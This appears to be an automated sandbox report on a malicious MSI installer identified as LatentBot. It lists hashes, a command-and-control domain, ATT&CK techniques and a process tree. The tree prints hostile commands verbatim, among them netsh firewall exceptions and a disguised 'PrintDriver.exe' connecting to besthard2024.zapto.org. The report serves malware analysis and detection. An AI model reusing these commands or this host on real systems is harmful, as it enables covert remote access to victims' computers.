Analysis
-
max time kernel
147s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11-10-2024 06:57
Static task
static1
Behavioral task
behavioral1
Sample
e21b2080c98beb0f04307a5a25630e23.msi
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
e21b2080c98beb0f04307a5a25630e23.msi
Resource
win10v2004-20241007-en
General
-
Target
e21b2080c98beb0f04307a5a25630e23.msi
-
Size
6.7MB
-
MD5
e21b2080c98beb0f04307a5a25630e23
-
SHA1
8fc24ad51e8d61324fe8de1be667862e9238cbbb
-
SHA256
0dbeaab616c483b81d9e9ed8dda14a3a8f3b024130f8fab840e7b9f3a7b1787e
-
SHA512
3706fde6569bccb39e2c58e86c60050c73bcdbe5c7eb05849ced33c75b5a1c3b080746c2e27420c6fffcd3497e1b1b6ab87e1b2d371a80fa3ae27851a64cfbea
-
SSDEEP
196608:QK4NkomkEmjut8DMcj4IWKPDNwmtoOCvHLNkAIdc:QKfkEmjuSMcxWKLNwunA5
Malware Config
Extracted
latentbot
besthard2024.zapto.org
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 3 1924 msiexec.exe 4 3032 msiexec.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 1580 netsh.exe 920 netsh.exe -
Drops file in Windows directory 10 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIAA1A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAAE5.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIACDA.tmp msiexec.exe File opened for modification C:\Windows\Installer\f76a8bd.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIA96D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAD68.tmp msiexec.exe File opened for modification C:\Windows\Installer\f76a8c0.ipi msiexec.exe File created C:\Windows\Installer\f76a8bd.msi msiexec.exe File created C:\Windows\Installer\f76a8c0.ipi msiexec.exe -
Executes dropped EXE 4 IoCs
pid Process 2968 MSIAD68.tmp 2884 PrintDrivers.exe 1104 PrintDriver.exe 1608 PrintDrivers.exe -
Loads dropped DLL 4 IoCs
pid Process 2776 MsiExec.exe 2776 MsiExec.exe 2776 MsiExec.exe 1708 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1924 msiexec.exe -
Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PrintDrivers.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PrintDrivers.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSIAD68.tmp -
Delays execution with timeout.exe 11 IoCs
pid Process 912 timeout.exe 624 timeout.exe 1088 timeout.exe 1076 timeout.exe 2780 timeout.exe 2176 timeout.exe 848 timeout.exe 2660 timeout.exe 1196 timeout.exe 2476 timeout.exe 2164 timeout.exe -
Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.
-
Kills process with taskkill 3 IoCs
pid Process 2788 taskkill.exe 672 taskkill.exe 1100 taskkill.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1608 PrintDrivers.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3032 msiexec.exe 3032 msiexec.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe 2884 PrintDrivers.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1924 msiexec.exe Token: SeIncreaseQuotaPrivilege 1924 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeSecurityPrivilege 3032 msiexec.exe Token: SeCreateTokenPrivilege 1924 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1924 msiexec.exe Token: SeLockMemoryPrivilege 1924 msiexec.exe Token: SeIncreaseQuotaPrivilege 1924 msiexec.exe Token: SeMachineAccountPrivilege 1924 msiexec.exe Token: SeTcbPrivilege 1924 msiexec.exe Token: SeSecurityPrivilege 1924 msiexec.exe Token: SeTakeOwnershipPrivilege 1924 msiexec.exe Token: SeLoadDriverPrivilege 1924 msiexec.exe Token: SeSystemProfilePrivilege 1924 msiexec.exe Token: SeSystemtimePrivilege 1924 msiexec.exe Token: SeProfSingleProcessPrivilege 1924 msiexec.exe Token: SeIncBasePriorityPrivilege 1924 msiexec.exe Token: SeCreatePagefilePrivilege 1924 msiexec.exe Token: SeCreatePermanentPrivilege 1924 msiexec.exe Token: SeBackupPrivilege 1924 msiexec.exe Token: SeRestorePrivilege 1924 msiexec.exe Token: SeShutdownPrivilege 1924 msiexec.exe Token: SeDebugPrivilege 1924 msiexec.exe Token: SeAuditPrivilege 1924 msiexec.exe Token: SeSystemEnvironmentPrivilege 1924 msiexec.exe Token: SeChangeNotifyPrivilege 1924 msiexec.exe Token: SeRemoteShutdownPrivilege 1924 msiexec.exe Token: SeUndockPrivilege 1924 msiexec.exe Token: SeSyncAgentPrivilege 1924 msiexec.exe Token: SeEnableDelegationPrivilege 1924 msiexec.exe Token: SeManageVolumePrivilege 1924 msiexec.exe Token: SeImpersonatePrivilege 1924 msiexec.exe Token: SeCreateGlobalPrivilege 1924 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeIncreaseQuotaPrivilege 2000 WMIC.exe Token: SeSecurityPrivilege 2000 WMIC.exe Token: SeTakeOwnershipPrivilege 2000 WMIC.exe Token: SeLoadDriverPrivilege 2000 WMIC.exe Token: SeSystemProfilePrivilege 2000 WMIC.exe Token: SeSystemtimePrivilege 2000 WMIC.exe Token: SeProfSingleProcessPrivilege 2000 WMIC.exe Token: SeIncBasePriorityPrivilege 2000 WMIC.exe Token: SeCreatePagefilePrivilege 2000 WMIC.exe Token: SeBackupPrivilege 2000 WMIC.exe Token: SeRestorePrivilege 2000 WMIC.exe Token: SeShutdownPrivilege 2000 WMIC.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1924 msiexec.exe 1924 msiexec.exe 1104 PrintDriver.exe 1104 PrintDriver.exe 1104 PrintDriver.exe 1104 PrintDriver.exe -
Suspicious use of SendNotifyMessage 3 IoCs
pid Process 1104 PrintDriver.exe 1104 PrintDriver.exe 1104 PrintDriver.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3032 wrote to memory of 2776 3032 msiexec.exe 31 PID 3032 wrote to memory of 2776 3032 msiexec.exe 31 PID 3032 wrote to memory of 2776 3032 msiexec.exe 31 PID 3032 wrote to memory of 2776 3032 msiexec.exe 31 PID 3032 wrote to memory of 2776 3032 msiexec.exe 31 PID 3032 wrote to memory of 2776 3032 msiexec.exe 31 PID 3032 wrote to memory of 2776 3032 msiexec.exe 31 PID 3032 wrote to memory of 2968 3032 msiexec.exe 32 PID 3032 wrote to memory of 2968 3032 msiexec.exe 32 PID 3032 wrote to memory of 2968 3032 msiexec.exe 32 PID 3032 wrote to memory of 2968 3032 msiexec.exe 32 PID 3032 wrote to memory of 2968 3032 msiexec.exe 32 PID 3032 wrote to memory of 2968 3032 msiexec.exe 32 PID 3032 wrote to memory of 2968 3032 msiexec.exe 32 PID 1168 wrote to memory of 2924 1168 cmd.exe 36 PID 1168 wrote to memory of 2924 1168 cmd.exe 36 PID 1168 wrote to memory of 2924 1168 cmd.exe 36 PID 1168 wrote to memory of 536 1168 cmd.exe 37 PID 1168 wrote to memory of 536 1168 cmd.exe 37 PID 1168 wrote to memory of 536 1168 cmd.exe 37 PID 1168 wrote to memory of 1668 1168 cmd.exe 38 PID 1168 wrote to memory of 1668 1168 cmd.exe 38 PID 1168 wrote to memory of 1668 1168 cmd.exe 38 PID 1668 wrote to memory of 1092 1668 cmd.exe 39 PID 1668 wrote to memory of 1092 1668 cmd.exe 39 PID 1668 wrote to memory of 1092 1668 cmd.exe 39 PID 1168 wrote to memory of 2000 1168 cmd.exe 40 PID 1168 wrote to memory of 2000 1168 cmd.exe 40 PID 1168 wrote to memory of 2000 1168 cmd.exe 40 PID 1168 wrote to memory of 1188 1168 cmd.exe 41 PID 1168 wrote to memory of 1188 1168 cmd.exe 41 PID 1168 wrote to memory of 1188 1168 cmd.exe 41 PID 1168 wrote to memory of 1764 1168 cmd.exe 44 PID 1168 wrote to memory of 1764 1168 cmd.exe 44 PID 1168 wrote to memory of 1764 1168 cmd.exe 44 PID 1168 wrote to memory of 1708 1168 cmd.exe 45 PID 1168 wrote to memory of 1708 1168 cmd.exe 45 PID 1168 wrote to memory of 1708 1168 cmd.exe 45 PID 1708 wrote to memory of 1396 1708 cmd.exe 46 PID 1708 wrote to memory of 1396 1708 cmd.exe 46 PID 1708 wrote to memory of 1396 1708 cmd.exe 46 PID 1708 wrote to memory of 1580 1708 cmd.exe 47 PID 1708 wrote to memory of 1580 1708 cmd.exe 47 PID 1708 wrote to memory of 1580 1708 cmd.exe 47 PID 1708 wrote to memory of 920 1708 cmd.exe 48 PID 1708 wrote to memory of 920 1708 cmd.exe 48 PID 1708 wrote to memory of 920 1708 cmd.exe 48 PID 1708 wrote to memory of 2428 1708 cmd.exe 49 PID 1708 wrote to memory of 2428 1708 cmd.exe 49 PID 1708 wrote to memory of 2428 1708 cmd.exe 49 PID 1708 wrote to memory of 2532 1708 cmd.exe 50 PID 1708 wrote to memory of 2532 1708 cmd.exe 50 PID 1708 wrote to memory of 2532 1708 cmd.exe 50 PID 1708 wrote to memory of 1104 1708 cmd.exe 51 PID 1708 wrote to memory of 1104 1708 cmd.exe 51 PID 1708 wrote to memory of 1104 1708 cmd.exe 51 PID 1168 wrote to memory of 624 1168 cmd.exe 52 PID 1168 wrote to memory of 624 1168 cmd.exe 52 PID 1168 wrote to memory of 624 1168 cmd.exe 52 PID 1168 wrote to memory of 2788 1168 cmd.exe 53 PID 1168 wrote to memory of 2788 1168 cmd.exe 53 PID 1168 wrote to memory of 2788 1168 cmd.exe 53 PID 1168 wrote to memory of 2476 1168 cmd.exe 54 PID 1168 wrote to memory of 2476 1168 cmd.exe 54
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\e21b2080c98beb0f04307a5a25630e23.msi1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1924
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 85C0174DB6714785D4C1245F8719325E2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2776
-
-
C:\Windows\Installer\MSIAD68.tmp"C:\Windows\Installer\MSIAD68.tmp" /DontWait /HideWindow /dir "C:\Games\" "C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2968
-
-
C:\Games\PrintDrivers.exe"C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2884
-
C:\Windows\system32\cmd.execmd /c ""C:\Games\PrintDrivers.cmd" "1⤵
- Suspicious use of WriteProcessMemory
PID:1168 -
C:\Windows\system32\mode.comMode 90,202⤵PID:2924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul2⤵PID:536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description2⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\system32\reg.exeReg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description3⤵PID:1092
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where (name="PrintDriver.exe") get commandline2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000
-
-
C:\Windows\system32\findstr.exefindstr /i "PrintDriver.exe"2⤵PID:1188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" type C:\Games\PrintDriver.txt"2⤵PID:1764
-
-
C:\Windows\system32\cmd.execmd2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Windows\system32\mode.comMode 90,203⤵PID:1396
-
-
C:\Windows\system32\netsh.exenetsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplication" mode=ENABLE scope=ALL3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1580
-
-
C:\Windows\system32\netsh.exenetsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:920
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where (name="PrintDriver.exe") get commandline3⤵PID:2428
-
-
C:\Windows\system32\findstr.exefindstr /i "PrintDriver.exe"3⤵PID:2532
-
-
C:\Games\PrintDriver.exeC:\Games\PrintDriver.exe -autoreconnect ID:5712775 -connect besthard2024.zapto.org:5500 -run3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:624
-
-
C:\Windows\system32\taskkill.exetaskkill /im rundll32.exe /f2⤵
- Kills process with taskkill
PID:2788
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2476
-
-
C:\Windows\system32\taskkill.exetaskkill /im rundll32.exe /f2⤵
- Kills process with taskkill
PID:672
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1088
-
-
C:\Windows\system32\taskkill.exetaskkill /im rundll32.exe /f2⤵
- Kills process with taskkill
PID:1100
-
-
C:\Games\PrintDrivers.exeC:\Games\PrintDrivers.exe /HideWindow C:\Games\driverhelp.cmd2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1608
-
-
C:\Windows\system32\cmd.execmd /c ""C:\Games\driverhelp.cmd" "1⤵PID:2116
-
C:\Windows\system32\mode.comMode 90,202⤵PID:1748
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul2⤵PID:1528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description2⤵PID:1804
-
C:\Windows\system32\reg.exeReg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description3⤵PID:1148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:1076
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:2780
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:2176
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:848
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:2660
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:912
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:1196
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:2164
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Installer Packages
1Netsh Helper DLL
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Installer Packages
1Netsh Helper DLL
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
422KB
MD5e7f59d0e6f50cc1e1127700a831c04bd
SHA13b700e615695d41e6a9bae51c724893323dbd9d0
SHA2565af15299251b8cff31a9d5f5e3d8058b601b3651f52086a89656d5be085ca00b
SHA512c1630a4edcd4e18bfafae2d75f57b2fe831c30e92c9e008fad37d6e81ec3d3797d82388e0c6ef6e5de2d102c38af044b81279e22988d1e379d295eb06b51f2aa
-
Filesize
1KB
MD56eb13f7936a83f4c44842029914aad6e
SHA17b9b27731d4ca6f996ce68c5d68b4d653e31d915
SHA2568d9bb49947d9dc7fa7be7310149a99f13a0c02580fd996aae31c69d673775c49
SHA512227788193867b2f99a62ae792d91562ad46ea3fa0855cf6ef28fc0de31d43f2e671c6ef50e534f0235f1f663769715bef162913a554e86e581fe05455373623e
-
Filesize
1KB
MD5eacc690f71a77685f030bef23b506b91
SHA103b911ba997d44028bf515ea44fe4813b4b4a785
SHA2560f1d30740f2e46b22b86fb01acdabbd02440d7dbebe963a405fb3a5661b23263
SHA5129870aa4dc699b74bfc8fb53df0c74686913f42ea2321bee39786e5be696fb081e3dfdac1b312f3c439c14e3061f35cefe820ef1ac5c853274ca0c867bf50a54d
-
Filesize
403KB
MD529ed7d64ce8003c0139cccb04d9af7f0
SHA18172071a639681934d3dc77189eb88a04c8bcfac
SHA256e48aac5148b261371c714b9e00268809832e4f82d23748e44f5cfbbf20ca3d3f
SHA5124bdd4bf57eaf0c9914e483e160182db7f2581b0e2adc133885bf0f364123d849d247d3f077a58d930e80502a7f27f1457f7e2502d466aec80a4fbeebd0b59415
-
Filesize
1KB
MD5cb5b8a5789c15957c039ff3ce988c1a2
SHA14de9a626f04bc7c619fdb68e5585739855ded2d1
SHA256a11a72865948a8d6a88df530108c3b8ba3e8b4ac6316ac22443af81fa1c3daf4
SHA51268dd583237ea70702d76d9a2a607bbb8f2e2a1e4285de347b4e23faa0063b51f20f5a84cbe907ef4c123eba0add1c99cb4f9f1e13ddff97b34bb1e7c18825e32
-
Filesize
870B
MD5fd3b5847ddb8a31413951c0aa870ab95
SHA1e3e91e3e9fa442cd1937422120de91da87973ddb
SHA256e4f5e16dfe9bbe6d63f266103c35c0035a2d4014f516420190b7cfafb02b08ad
SHA5125d8599f7d6f0824ab30118f5680bf89d28c1e7e9de4ed61af9074cb9d339619d59dab8e5818dc93dcf5b27ad9e8a863c5d082f8f829aa8c4a026ec5da2454096
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5276eb7e4e8036a3cf123d2e4f3351049
SHA16a9d0f678d1f41ac41354f8cbdf6b1bebe2a1686
SHA256c7013366a2107fdb97d1294670680a6d12b14fac5c124b239092f0e7015f8a28
SHA512f2fe39c43783a16d37c99ea7d921be89bb2b77e180bd032afd14f16bf9d5e772895abbcfcd2e40052e7b733b68efa35870f2e344a0fdfb26473607ddf9ac7882
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
-
Filesize
997KB
MD5ec6ebf65fe4f361a73e473f46730e05c
SHA101f946dfbf773f977af5ade7c27fffc7fe311149
SHA256d3614d7bece53e0d408e31da7d9b0ff2f7285a7dd544c778847ed0c5ded5d52f
SHA512e4d7aafa75d07a3071d2739d18b4c2b0a3798f754b339c349db9a6004d031bf02f3970b030cec4a5f55b4c19f03794b0ce186a303d936c222e7e6e8726fffff7
-
Filesize
418KB
MD5432827ec55428786a447b3d848d963b7
SHA1029901586604f3ab1b0bd18868469a96db0ef470
SHA2565a4e76f840fe7d9872164c6c3ce85f4dd0405e661c04638e0b8a91157398bbf0
SHA512efe03d3446b07180a12d8cd8d0b6d25dd6da5b445c6d61125b0e81c848a98b78f502a6c7c8c7dfc87b3d5beafdea100ac6580e0d28f2cfb99eda90a19449c226
-
Filesize
2.8MB
MD527c1c264c6fce4a5f44419f1783db8e0
SHA1e071486e4dfef3a13f958a252d7000d3ce7bfd89
SHA25629379afd1ca5439c82931d623fda335174dc416e5b013591457fa1f7bbe564db
SHA512a80a512be6f152e8737cd5d0a0a2a193eaf88f3bfb7ed6b7695d227e195db278e2734ebfc9fe48a68cfb13e4e5bb7fb4825019cfa2210ba741ecf8b11f954a98